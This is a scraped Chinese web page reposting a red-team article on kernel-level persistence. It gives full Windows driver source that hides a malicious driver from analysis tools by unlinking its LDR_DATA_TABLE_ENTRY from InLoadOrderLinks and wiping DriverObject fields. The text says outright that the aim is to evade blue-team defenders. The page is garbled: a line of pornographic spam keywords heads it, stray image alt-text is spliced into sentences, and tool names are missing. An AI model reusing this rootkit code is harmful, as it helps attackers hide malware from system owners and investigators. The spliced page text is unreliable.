操屁眼的视频在线免费看,日本在线综合一区二区,久久在线观看免费视频,欧美日韩精品久久综

新聞資訊

    前言

    在做權限維持的時候,往往采用三環的技術顯得可能微不足道了。本節用內核層的技術實現驅動信息隱藏

    1.惡意驅動文件查找

    在普遍的紅藍對抗中,藍隊針對于底層的知識了解的少而又少,這里舉一個較為常見的例子..

    藍隊可能使用等工具進行分析可疑進程和文件。

    系統進程隱藏工具_hidetoolz 隱藏進程工具_隱藏進程工具

    之后我們載入一個自己寫的驅動文件,看一下的情況,可以在本工具成功看到我們的驅動信息。

    隱藏進程工具_hidetoolz 隱藏進程工具_系統進程隱藏工具

    2.驅動斷鏈隱藏結構

    在Y結構體中系統進程隱藏工具,成員,這個成員把系統所有加載(可能是停止沒被卸載)已經讀取到內存中。

    PDRIVER_OBJECT->PLDR_DATA_TABLE_ENTRY->InLoadOrderLinks

    hidetoolz 隱藏進程工具_隱藏進程工具_系統進程隱藏工具

    Y結構體如下:

    typedef struct _LDR_DATA_TABLE_ENTRY {  LIST_ENTRY InLoadOrderLinks;//這個成員把系統所有加載(可能是停止沒被卸載)已經讀取到內存中 我們關系第一個  我們要遍歷鏈表 雙鏈表 不管中間哪個節點都可以遍歷整個鏈表 本驅動的驅動對象就是一個節點  LIST_ENTRY InMemoryOrderLinks;//系統已經啟動 沒有被初始化 沒有調用DriverEntry這個歷程的時候 通過這個鏈表進程串接起來  LIST_ENTRY InInitializationOrderLinks;//已經調用DriverEntry這個函數的所有驅動程序  PVOID DllBase;  PVOID EntryPoint;//驅動的進入點 DriverEntry  ULONG SizeOfImage;  UNICODE_STRING FullDllName;//驅動的滿路徑  UNICODE_STRING BaseDllName;//不帶路徑的驅動名字  ULONG Flags;  USHORT LoadCount;  USHORT TlsIndex;  union {    LIST_ENTRY HashLinks;    struct {      PVOID SectionPointer;      ULONG CheckSum;    };  };  union {    struct {      ULONG TimeDateStamp;    };    struct {      PVOID LoadedImports;    };  };} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

    3.代碼分析實現

    系統進程隱藏工具_hidetoolz 隱藏進程工具_隱藏進程工具

    通過進行獲取當前驅動信息,之后利用該節點即可。

    代碼全部實現如下:

    通過創建了一個線程,并在內部實現了驅動斷鏈。

    隱藏進程工具_系統進程隱藏工具_hidetoolz 隱藏進程工具

    #include typedef struct _LDR_DATA_TABLE_ENTRY {  LIST_ENTRY InLoadOrderLinks;//這個成員把系統所有加載(可能是停止沒被卸載)已經讀取到內存中 我們關系第一個  我們要遍歷鏈表 雙鏈表 不管中間哪個節點都可以遍歷整個鏈表 本驅動的驅動對象就是一個節點  LIST_ENTRY InMemoryOrderLinks;//系統已經啟動 沒有被初始化 沒有調用DriverEntry這個歷程的時候 通過這個鏈表進程串接起來  LIST_ENTRY InInitializationOrderLinks;//已經調用DriverEntry這個函數的所有驅動程序  PVOID DllBase;  PVOID EntryPoint;//驅動的進入點 DriverEntry  ULONG SizeOfImage;  UNICODE_STRING FullDllName;//驅動的滿路徑  UNICODE_STRING BaseDllName;//不帶路徑的驅動名字  ULONG Flags;  USHORT LoadCount;  USHORT TlsIndex;  union {    LIST_ENTRY HashLinks;    struct {      PVOID SectionPointer;      ULONG CheckSum;    };  };  union {    struct {      ULONG TimeDateStamp;    };    struct {      PVOID LoadedImports;    };  };} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
    VOID Uploades(struct _DRIVER_OBJECT *DriverObject){ DbgPrint("%s\r\n",__FUNCTION__);}VOID Thread(PDRIVER_OBJECT next_driver){//獲取第一個 PLDR_DATA_TABLE_ENTRY drivs = &((PLDR_DATA_TABLE_ENTRY)next_driver->DriverSection)->InLoadOrderLinks; RemoveEntryList(drivs); //進行斷鏈隱藏 next_driver->Type = 0; next_driver->Size = 0; next_driver->DriverSection = 0;}NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path){ driver->DriverUnload = Uploades; HANDLE hThread = NULL;??PsCreateSystemThread(&hThread,?0,?NULL,?NULL,?NULL,?Thread,?driver); return STATUS_SUCCESS;}

    之后用進行查找(以字母順序進行查找)系統進程隱藏工具,可以看到最后一項是沒有yc.sys驅動文件,隱藏成功!

    微信搜索關注 "安全族" 長期更新安全資料,掃一掃即可關注安全族!

網站首頁   |    關于我們   |    公司新聞   |    產品方案   |    用戶案例   |    售后服務   |    合作伙伴   |    人才招聘   |   

友情鏈接: 餐飲加盟

地址:北京市海淀區    電話:010-     郵箱:@126.com

備案號:冀ICP備2024067069號-3 北京科技有限公司版權所有